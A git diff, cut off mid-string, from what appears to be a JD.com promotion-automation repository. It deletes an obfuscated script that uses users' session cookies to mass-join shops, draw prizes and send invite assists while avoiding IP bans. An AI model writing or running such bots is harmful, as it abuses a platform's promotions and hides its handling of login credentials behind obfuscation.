13) { - $.isLogin = false; //cookie过期 - return - } - if (data['retcode'] === 0) { - $.nickName = (data['base'] && data['base'].nickname) || $.UserName; - } else { - $.nickName = $.UserName - } - } else { - console.log(`京东服务器返回空数据`) - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} - -function safeGet(data) { - try { - if (typeof JSON.parse(data) == "object") { - return true; - } - } catch (e) { - console.log(e); - console.log(`京东服务器访问数据为空,请检查自身设备网络情况`); - return false; - } -} - -function jsonParse(str) { - if (typeof str == "string") { - try { - return JSON.parse(str); - } catch (e) { - console.log(e); - $.msg($.name, '', '不要在BoxJS手动复制粘贴修改cookie') - return []; - } - } -} -// prettier-ignore -function Env(t,e){class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`\ud83d\udd14${this.name}, \u5f00\u59cb!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),a={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(a,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t){let e={"M+":(new Date).getMonth()+1,"d+":(new Date).getDate(),"H+":(new Date).getHours(),"m+":(new Date).getMinutes(),"s+":(new Date).getSeconds(),"q+":Math.floor(((new Date).getMonth()+3)/3),S:(new Date).getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,((new Date).getFullYear()+"").substr(4-RegExp.$1.length)));for(let s in e)new RegExp("("+s+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?e[s]:("00"+e[s]).substr((""+e[s]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r)));let h=["","==============\ud83d\udce3\u7cfb\u7edf\u901a\u77e5\ud83d\udce3=============="];h.push(e),s&&h.push(s),i&&h.push(i),console.log(h.join("\n")),this.logs=this.logs.concat(h)}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`\u2757\ufe0f${this.name}, \u9519\u8bef!`,t.stack):this.log("",`\u2757\ufe0f${this.name}, \u9519\u8bef!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`\ud83d\udd14${this.name}, \u7ed3\u675f! \ud83d\udd5b ${s} \u79d2`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} diff --git a/jd_opencard_jss.js b/jd_opencard_jss.js deleted file mode 100644 index a322eaab4..000000000 --- a/jd_opencard_jss.js +++ /dev/null @@ -1,15 +0,0 @@ -/* -酒水 -https://lzdz1-isv.isvjcloud.com/dingzhi/drinkcategory/piecetoge1/activity?activityId=dz5049da83678c4aa0b2cb5ff01dc5&shareUuid=4e80ab0b8cf24bfe9859086d5b518499 -cron "1 1 1 1 1" jd_opencard_jss.js -*/ -const $ = new Env('酒水'); -const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; -const notify = $.isNode() ? require('./sendNotify') : ''; - - -var __encode ='jsjiami.com',_a={}, _0xb483=["\x5F\x64\x65\x63\x6F\x64\x65","\x68\x74\x74\x70\x3A\x2F\x2F\x77\x77\x77\x2E\x73\x6F\x6A\x73\x6F\x6E\x2E\x63\x6F\x6D\x2F\x6A\x61\x76\x61\x73\x63\x72\x69\x70\x74\x6F\x62\x66\x75\x73\x63\x61\x74\x6F\x72\x2E\x68\x74\x6D\x6C"];(function(_0xd642x1){_0xd642x1[_0xb483[0]]= _0xb483[1]})(_a);var __Oxe7fc1=["","\x32","\x68\x6F\x74\x46\x6C\x61\x67","\x6F\x75\x74\x46\x6C\x61\x67","\x61\x63\x74\x69\x76\x69\x74\x79\x45\x6E\x64","\x69\x73\x4E\x6F\x64\x65","\x70\x75\x73\x68","\x66\x6F\x72\x45\x61\x63\x68","\x6B\x65\x79\x73","\x4A\x44\x5F\x44\x45\x42\x55\x47","\x65\x6E\x76","\x66\x61\x6C\x73\x65","\x6C\x6F\x67","\x66\x69\x6C\x74\x65\x72","\x43\x6F\x6F\x6B\x69\x65\x4A\x44","\x67\x65\x74\x64\x61\x74\x61","\x43\x6F\x6F\x6B\x69\x65\x4A\x44\x32","\x63\x6F\x6F\x6B\x69\x65","\x6D\x61\x70","\x43\x6F\x6F\x6B\x69\x65\x73\x4A\x44","\x5B\x5D","\x64\x6F\x6E\x65","\x66\x69\x6E\x61\x6C\x6C\x79","\x6C\x6F\x67\x45\x72\x72","\x63\x61\x74\x63\x68","\x6E\x61\x6D\x65","\u3010\u63D0\u793A\u3011\u8BF7\u5148\u83B7\u53D6\x63\x6F\x6F\x6B\x69\x65\x0A\u76F4\u63A5\u4F7F\u7528\x4E\x6F\x62\x79\x44\x61\u7684\u4EAC\u4E1C\u7B7E\u5230\u83B7\u53D6","\x68\x74\x74\x70\x73\x3A\x2F\x2F\x62\x65\x61\x6E\x2E\x6D\x2E\x6A\x64\x2E\x63\x6F\x6D\x2F","\x6D\x73\x67","\x61\x63\x74\x69\x76\x69\x74\x79\x49\x64","\x64\x7A\x35\x30\x34\x39\x64\x61\x38\x33\x36\x37\x38\x63\x34\x61\x61\x30\x62\x32\x63\x62\x35\x66\x66\x30\x31\x64\x63\x35","\x73\x68\x61\x72\x65\x55\x75\x69\x64","\x34\x65\x38\x30\x61\x62\x30\x62\x38\x63\x66\x32\x34\x62\x66\x65\x39\x38\x35\x39\x30\x38\x36\x64\x35\x62\x35\x31\x38\x34\x39\x39","\u5165\u53E3\x3A\x5C\x6E\x68\x74\x74\x70\x73\x3A\x2F\x2F\x6C\x7A\x64\x7A\x31\x2D\x69\x73\x76\x2E\x69\x73\x76\x6A\x63\x6C\x6F\x75\x64\x2E\x63\x6F\x6D\x2F\x64\x69\x6E\x67\x7A\x68\x69\x2F\x64\x72\x69\x6E\x6B\x63\x61\x74\x65\x67\x6F\x72\x79\x2F\x70\x69\x65\x63\x65\x74\x6F\x67\x65\x31\x2F\x61\x63\x74\x69\x76\x69\x74\x79\x3F\x61\x63\x74\x69\x76\x69\x74\x79\x49\x64\x3D","\x26\x73\x68\x61\x72\x65\x55\x75\x69\x64\x3D","\x6C\x65\x6E\x67\x74\x68","\x55\x73\x65\x72\x4E\x61\x6D\x65","\x6D\x61\x74\x63\x68","\x69\x6E\x64\x65\x78","\x62\x65\x61\x6E","\x6E\x69\x63\x6B\x4E\x61\x6D\x65","\x2A\x2A\x2A\x2A\x2A\x2A\u5F00\u59CB\u3010\u4EAC\u4E1C\u8D26\u53F7","\u3011","\x2A\x2A\x2A\x2A\x2A\x2A\x2A\x2A\x2A","\u6B64\x69\x70\u5DF2\u88AB\u9650\u5236\uFF0C\u8BF7\u8FC7\x31\x30\u5206\u949F\u540E\u518D\u6267\u884C\u811A\u672C","\x73\x65\x6E\x64\x4E\x6F\x74\x69\x66\x79","\x74\x6F\x53\x74\x72","\x6A\x6F\x69\x6E\x53\x68\x6F\x70\x53\x74\x61\x74\x75\x73","\x68\x61\x73\x45\x6E\x64","\x65\x6E\x64\x54\x69\x6D\x65","\x54\x6F\x6B\x65\x6E","\x50\x69\x6E","\x69\x73\x76\x4F\x62\x66\x75\x73\x63\x61\x74\x6F\x72","\u83B7\u53D6\x5B\x74\x6F\x6B\x65\x6E\x5D\u5931\u8D25\uFF01","\u83B7\u53D6\x63\x6F\x6F\x6B\x69\x65\u5931\u8D25","\u6D3B\u52A8\u7ED3\u675F","\u6B64\x69\x70\u5DF2\u88AB\u9650\u5236\uFF0C\u8BF7\u8FC7\x31\x30\u5206\u949F\u540E\u518D\u6267\u884C\u811A\u672C\x0A","\x73\x68\x6F\x70\x49\x64","\x76\x65\x6E\x64\x65\x72\x49\x64","\x67\x65\x74\x53\x69\x6D\x70\x6C\x65\x41\x63\x74\x49\x6E\x66\x6F\x56\x6F","\x67\x65\x74\x4D\x79\x50\x69\x6E\x67","\u83B7\u53D6\x5B\x50\x69\x6E\x5D\u5931\u8D25\uFF01","\x61\x63\x63\x65\x73\x73\x4C\x6F\x67\x57\x69\x74\x68\x41\x44","\x67\x65\x74\x55\x73\x65\x72\x49\x6E\x66\x6F","\x61\x63\x74\x69\x76\x69\x74\x79\x43\x6F\x6E\x74\x65\x6E\x74","\x72\x61\x6E\x64\x6F\x6D","\x77\x61\x69\x74","\x61\x63\x74\x6F\x72\x55\x75\x69\x64","\u83B7\u53D6\u4E0D\u5230\x5B\x61\x63\x74\x6F\x72\x55\x75\x69\x64\x5D\u9000\u51FA\u6267\u884C\uFF0C\u8BF7\u91CD\u65B0\u6267\u884C","\x6E\x6F\x77","\x6F\x70\x65\x6E\x4C\x69\x73\x74","\x61\x6C\x6C\x4F\x70\x65\x6E\x43\x61\x72\x64","\x63\x68\x65\x63\x6B\x4F\x70\x65\x6E\x43\x61\x72\x64","\u5F00\u5361\u4EFB\u52A1","\x6F\x70\x65\x6E\x43\x61\x72\x64","\x6F\x70\x65\x6E\x53\x74\x61\x74\x75\x73","\x6A\x6F\x69\x6E\x56\x65\x6E\x64\x65\x72\x49\x64","\x65\x72\x72\x6F\x72\x4A\x6F\x69\x6E\x53\x68\x6F\x70","\u6D3B\u52A8\u592A\u706B\u7206\uFF0C\u8BF7\u7A0D\u540E\u518D\u8BD5","\x69\x6E\x64\x65\x78\x4F\x66","\u52A0\u5165\u5E97\u94FA\u4F1A\u5458\u5931\u8D25","\u7B2C\x31\u6B21\u91CD\u8BD5","\u7B2C\x32\u6B21\u91CD\u8BD5","\u5DF2\u5168\u90E8\u5F00\u5361","\u5173\u6CE8\x3A\x20","\x66\x6F\x6C\x6C\x6F\x77\x53\x68\x6F\x70","\x67\x65\x74\x53\x68\x61\x72\x65\x52\x65\x63\x6F\x72\x64","\u5F53\u524D\u52A9\u529B\x3A","\u540E\u9762\u7684\u53F7\u90FD\u4F1A\u52A9\u529B\x3A","\u7B49\u5F85","\u79D2","\u4F11\u606F\u51E0\u79D2\uFF0C\u522B\u88AB\u9ED1\x69\x70\u4E86\x0A\u53EF\u6301\u7EED\u53D1\u5C55","\x68\x74\x74\x70\x73\x3A\x2F\x2F\x6C\x7A\x64\x7A\x31\x2D\x69\x73\x76\x2E\x69\x73\x76\x6A\x63\x6C\x6F\x75\x64\x2E\x63\x6F\x6D","\x50\x4F\x53\x54","\x68\x74\x74\x70\x73\x3A\x2F\x2F\x61\x70\x69\x2E\x6D\x2E\x6A\x64\x2E\x63\x6F\x6D\x2F\x63\x6C\x69\x65\x6E\x74\x2E\x61\x63\x74\x69\x6F\x6E\x3F\x66\x75\x6E\x63\x74\x69\x6F\x6E\x49\x64\x3D\x69\x73\x76\x4F\x62\x66\x75\x73\x63\x61\x74\x6F\x72","\x2F\x64\x7A\x2F\x63\x6F\x6D\x6D\x6F\x6E\x2F\x67\x65\x74\x53\x69\x6D\x70\x6C\x65\x41\x63\x74\x49\x6E\x66\x6F\x56\x6F","\x61\x63\x74\x69\x76\x69\x74\x79\x49\x64\x3D","\x2F\x63\x75\x73\x74\x6F\x6D\x65\x72\x2F\x67\x65\x74\x4D\x79\x50\x69\x6E\x67","\x75\x73\x65\x72\x49\x64\x3D","\x26\x74\x6F\x6B\x65\x6E\x3D","\x26\x66\x72\x6F\x6D\x54\x79\x70\x65\x3D\x41\x50\x50","\x2F\x63\x6F\x6D\x6D\x6F\x6E\x2F\x61\x63\x63\x65\x73\x73\x4C\x6F\x67\x57\x69\x74\x68\x41\x44","\x2F\x64\x69\x6E\x67\x7A\x68\x69\x2F\x64\x72\x69\x6E\x6B\x63\x61\x74\x65\x67\x6F\x72\x79\x2F\x70\x69\x65\x63\x65\x74\x6F\x67\x65\x31\x2F\x61\x63\x74\x69\x76\x69\x74\x79\x3F\x61\x63\x74\x69\x76\x69\x74\x79\x49\x64\x3D","\x76\x65\x6E\x64\x65\x72\x49\x64\x3D","\x26\x63\x6F\x64\x65\x3D\x39\x39\x26\x70\x69\x6E\x3D","\x26\x61\x63\x74\x69\x76\x69\x74\x79\x49\x64\x3D","\x26\x70\x61\x67\x65\x55\x72\x6C\x3D","\x26\x73\x75\x62\x54\x79\x70\x65\x3D\x61\x70\x70\x26\x61\x64\x53\x6F\x75\x72\x63\x65\x3D","\x2F\x77\x78\x41\x63\x74\x69\x6F\x6E\x43\x6F\x6D\x6D\x6F\x6E\x2F\x67\x65\x74\x55\x73\x65\x72\x49\x6E\x66\x6F","\x70\x69\x6E\x3D","\x2F\x64\x69\x6E\x67\x7A\x68\x69\x2F\x64\x72\x69\x6E\x6B\x63\x61\x74\x65\x67\x6F\x72\x79\x2F\x70\x69\x65\x63\x65\x74\x6F\x67\x65\x31\x2F\x61\x63\x74\x69\x76\x69\x74\x79\x43\x6F\x6E\x74\x65\x6E\x74","\x26\x70\x69\x6E\x3D","\x26\x70\x69\x6E\x49\x6D\x67\x3D","\x61\x74\x74\x72\x54\x6F\x75\x58\x69\x61\x6E\x67","\x26\x6E\x69\x63\x6B\x3D","\x6E\x69\x63\x6B\x6E\x61\x6D\x65","\x26\x63\x6A\x79\x78\x50\x69\x6E\x3D\x26\x63\x6A\x68\x79\x50\x69\x6E\x3D\x26\x73\x68\x61\x72\x65\x55\x75\x69\x64\x3D","\x2F\x64\x69\x6E\x67\x7A\x68\x69\x2F\x74\x61\x73\x6B\x61\x63\x74\x2F\x63\x6F\x6D\x6D\x6F\x6E\x2F\x64\x72\x61\x77\x43\x6F\x6E\x74\x65\x6E\x74","\x64\x72\x61\x77\x43\x6F\x6E\x74\x65\x6E\x74","\x2F\x64\x69\x6E\x67\x7A\x68\x69\x2F\x64\x72\x69\x6E\x6B\x63\x61\x74\x65\x67\x6F\x72\x79\x2F\x70\x69\x65\x63\x65\x74\x6F\x67\x65\x31\x2F\x69\x6E\x69\x74\x4F\x70\x65\x6E\x43\x61\x72\x64","\x26\x61\x63\x74\x6F\x72\x55\x75\x69\x64\x3D","\x2F\x64\x69\x6E\x67\x7A\x68\x69\x2F\x6C\x69\x6E\x6B\x67\x61\x6D\x65\x2F\x74\x61\x73\x6B\x2F\x6F\x70\x65\x6E\x63\x61\x72\x64\x2F\x69\x6E\x66\x6F","\x69\x6E\x66\x6F","\x2F\x6A\x6F\x69\x6E\x74\x2F\x6F\x72\x64\x65\x72\x2F\x64\x72\x61\x77","\x26\x64\x72\x61\x77\x54\x79\x70\x65\x3D\x31","\x73\x74\x61\x72\x74\x44\x72\x61\x77","\x2F\x64\x69\x6E\x67\x7A\x68\x69\x2F\x64\x72\x69\x6E\x6B\x63\x61\x74\x65\x67\x6F\x72\x79\x2F\x70\x69\x65\x63\x65\x74\x6F\x67\x65\x31\x2F\x73\x61\x76\x65\x54\x61\x73\x6B","\x26\x74\x61\x73\x6B\x54\x79\x70\x65\x3D\x32\x33\x26\x74\x61\x73\x6B\x56\x61\x6C\x75\x65\x3D\x32\x33","\x73\x69\x67\x6E","\x61\x64\x64\x43\x61\x72\x74","\x2F\x64\x69\x6E\x67\x7A\x68\x69\x2F\x6F\x70\x65\x6E\x63\x61\x72\x64\x2F","\x62\x72\x6F\x77\x73\x65\x47\x6F\x6F\x64\x73","\x26\x76\x61\x6C\x75\x65\x3D","\x76\x69\x73\x69\x74\x53\x6B\x75\x56\x61\x6C\x75\x65","\u9080\u8BF7","\x2F\x64\x69\x6E\x67\x7A\x68\x69\x2F\x6C\x69\x6E\x6B\x67\x61\x6D\x65\x2F\x61\x73\x73\x69\x73\x74","\u52A9\u529B","\x2F\x64\x69\x6E\x67\x7A\x68\x69\x2F\x6C\x69\x6E\x6B\x67\x61\x6D\x65\x2F\x61\x73\x73\x69\x73\x74\x2F\x73\x74\x61\x74\x75\x73","\u52A9\u529B\u72B6\u6001","\x76\x69\x65\x77\x56\x69\x64\x65\x6F","\x76\x69\x73\x69\x74\x53\x6B\x75","\x74\x6F\x53\x68\x6F\x70","\x66\x6F\x6C\x6C\x6F\x77\x50\x65\x6F\x6E\x79","\x74\x6F\x53\x68\x6F\x70\x56\x61\x6C\x75\x65","\x61\x64\x64\x53\x6B\x75","\x26\x74\x61\x73\x6B\x54\x79\x70\x65\x3D","\x26\x74\x61\x73\x6B\x56\x61\x6C\x75\x65\x3D","\x2F\x64\x69\x6E\x67\x7A\x68\x69\x2F\x74\x61\x73\x6B\x61\x63\x74\x2F\x63\x6F\x6D\x6D\x6F\x6E\x2F\x67\x65\x74\x44\x72\x61\x77\x52\x65\x63\x6F\x72\x64\x48\x61\x73\x43\x6F\x75\x70\x6F\x6E","\x67\x65\x74\x44\x72\x61\x77\x52\x65\x63\x6F\x72\x64\x48\x61\x73\x43\x6F\x75\x70\x6F\x6E","\x2F\x64\x69\x6E\x67\x7A\x68\x69\x2F\x74\x61\x73\x6B\x61\x63\x74\x2F\x63\x6F\x6D\x6D\x6F\x6E\x2F\x67\x65\x74\x53\x68\x61\x72\x65\x52\x65\x63\x6F\x72\x64","\x2F\x64\x69\x6E\x67\x7A\x68\x69\x2F\x64\x72\x69\x6E\x6B\x63\x61\x74\x65\x67\x6F\x72\x79\x2F\x70\x69\x65\x63\x65\x74\x6F\x67\x65\x31\x2F\x64\x72\x61\x77","\u62BD\u5956","\u9519\u8BEF","\x73\x74\x61\x74\x75\x73\x43\x6F\x64\x65","\x75\x6E\x64\x65\x66\x69\x6E\x65\x64","\x20\x41\x50\x49\u8BF7\u6C42\u5931\u8D25\uFF0C\u8BF7\u68C0\u67E5\u7F51\u8DEF\u91CD\u8BD5","\x70\x6F\x73\x74","\x70\x61\x72\x73\x65","\x20\u6267\u884C\u4EFB\u52A1\u5F02\u5E38","\x72\x75\x6E\x46\x61\x6C\x61\x67","\x6F\x62\x6A\x65\x63\x74","\x65\x72\x72\x63\x6F\x64\x65","\x74\x6F\x6B\x65\x6E","\x6D\x65\x73\x73\x61\x67\x65","\x69\x73\x76\x4F\x62\x66\x75\x73\x63\x61\x74\x6F\x72\x20","\x72\x65\x73\x75\x6C\x74","\x64\x61\x74\x61","\x65\x72\x72\x6F\x72\x4D\x65\x73\x73\x61\x67\x65","\x20","\x73\x65\x63\x72\x65\x74\x50\x69\x6E","\x79\x75\x6E\x4D\x69\x64\x49\x6D\x61\x67\x65\x55\x72\x6C","\x68\x74\x74\x70\x73\x3A\x2F\x2F\x69\x6D\x67\x31\x30\x2E\x33\x36\x30\x62\x75\x79\x69\x6D\x67\x2E\x63\x6F\x6D\x2F\x69\x6D\x67\x7A\x6F\x6E\x65\x2F\x6A\x66\x73\x2F\x74\x31\x2F\x37\x30\x32\x30\x2F\x32\x37\x2F\x31\x33\x35\x31\x31\x2F\x36\x31\x34\x32\x2F\x35\x63\x35\x31\x33\x38\x64\x38\x45\x34\x64\x66\x32\x65\x37\x36\x34\x2F\x35\x61\x31\x32\x31\x36\x61\x33\x61\x35\x30\x34\x33\x63\x35\x64\x2E\x70\x6E\x67","\x61\x63\x74\x69\x76\x69\x74\x79\x56\x6F","\x61\x63\x74\x69\x76\x69\x74\x79","\x73\x63\x6F\x72\x65","\x66\x6F\x6C\x6C\x6F\x77\x53\x6B\x75","\x63\x61\x72\x64\x4C\x69\x73\x74\x31","\x63\x61\x72\x64\x4C\x69\x73\x74\x32","\x63\x61\x72\x64\x4C\x69\x73\x74","\x6F\x70\x65\x6E\x43\x61\x72\x64\x4C\x69\x73\x74","\x6F\x70\x65\x6E\x49\x6E\x66\x6F","\x69\x73\x4F\x70\x65\x6E\x43\x61\x72\x64\x53\x74\x61\x74\x75\x73","\x6F\x70\x65\x6E\x43\x61\x72\x64\x53\x63\x6F\x72\x65\x31","\x73\x63\x6F\x72\x65\x31","\x6F\x70\x65\x6E\x43\x61\x72\x64\x53\x63\x6F\x72\x65\x32","\x73\x63\x6F\x72\x65\x32","\x64\x72\x61\x77\x53\x63\x6F\x72\x65","\x62\x65\x61\x6E\x73","\x61\x64\x64\x42\x65\x61\x6E\x4E\x75\x6D","\u5F00\u5361\u83B7\u5F97\x3A","\u8C46","\x74\x61\x73\x6B\x62\x65\x61\x6E\x4E\x75\x6D","\u4EAC\u8C46","\x61\x64\x64\x50\x6F\x69\x6E\x74","\u6E38\u620F\u673A\u4F1A","\u5173\u6CE8","\x62\x65\x61\x6E\x4E\x75\x6D\x4D\x65\x6D\x62\x65\x72","\x61\x73\x73\x69\x73\x74\x53\x65\x6E\x64\x53\x74\x61\x74\x75\x73","\x20\u989D\u5916\u83B7\u5F97\x3A","\u52A0\u8D2D","\u70ED\u95E8\u6587\u7AE0","\u6D4F\u89C8\u5E97\u94FA","\u5173\u6CE8\u9891\u9053","\u6D4F\u89C8\u5546\u54C1","\u7B7E\u5230","\x64\x72\x61\x77\x4F\x6B","\x77\x64\x73\x72\x76\x6F","\u7A7A\u6C14\uD83D\uDCA8","\u83B7\u5F97\x3A","\u6211\u7684\u5956\u54C1\uFF1A","\x69\x6E\x66\x6F\x4E\x61\x6D\x65","\x32\x30\u4EAC\u8C46","\x64\x72\x61\x77\x53\x74\x61\x74\x75\x73","\x76\x61\x6C\x75\x65","\x72\x65\x70\x6C\x61\x63\x65","\u9080\u8BF7\u597D\u53CB\x28","\x29\x3A","\x53\x68\x61\x72\x65\x43\x6F\x75\x6E\x74","\x3D\x3D\x3D\x3D\x3D\x3D\x3D\x3D\x3D\x3D\x3D\x20\u4F60\u9080\u8BF7\u4E86\x3A","\u4E2A\x5C\x6E","\u52A9\u529B\x3A","\u52A9\u529B\u72B6\u6001\x3A","\x2D\x3E\x20","\u706B\u7206","\x61\x70\x70\x6C\x69\x63\x61\x74\x69\x6F\x6E\x2F\x6A\x73\x6F\x6E","\x67\x7A\x69\x70\x2C\x20\x64\x65\x66\x6C\x61\x74\x65\x2C\x20\x62\x72","\x7A\x68\x2D\x63\x6E","\x6B\x65\x65\x70\x2D\x61\x6C\x69\x76\x65","\x61\x70\x70\x6C\x69\x63\x61\x74\x69\x6F\x6E\x2F\x78\x2D\x77\x77\x77\x2D\x66\x6F\x72\x6D\x2D\x75\x72\x6C\x65\x6E\x63\x6F\x64\x65\x64","\x55\x41","\x58\x4D\x4C\x48\x74\x74\x70\x52\x65\x71\x75\x65\x73\x74","\x52\x65\x66\x65\x72\x65\x72","\x68\x74\x74\x70\x73\x3A\x2F\x2F\x6C\x7A\x64\x7A\x31\x2D\x69\x73\x76\x2E\x69\x73\x76\x6A\x63\x6C\x6F\x75\x64\x2E\x63\x6F\x6D\x2F\x64\x69\x6E\x67\x7A\x68\x69\x2F\x64\x72\x69\x6E\x6B\x63\x61\x74\x65\x67\x6F\x72\x79\x2F\x70\x69\x65\x63\x65\x74\x6F\x67\x65\x31\x2F\x61\x63\x74\x69\x76\x69\x74\x79\x3F\x61\x63\x74\x69\x76\x69\x74\x79\x49\x64\x3D","\x43\x6F\x6F\x6B\x69\x65","\x41\x55\x54\x48\x5F\x43\x5F\x55\x53\x45\x52\x3D","\x3B","\x20\x63\x6F\x6F\x6B\x69\x65\x20\x41\x50\x49\u8BF7\u6C42\u5931\u8D25\uFF0C\u8BF7\u68C0\u67E5\u7F51\u8DEF\u91CD\u8BD5","\u6D3B\u52A8\u5DF2\u7ED3\u675F","\x7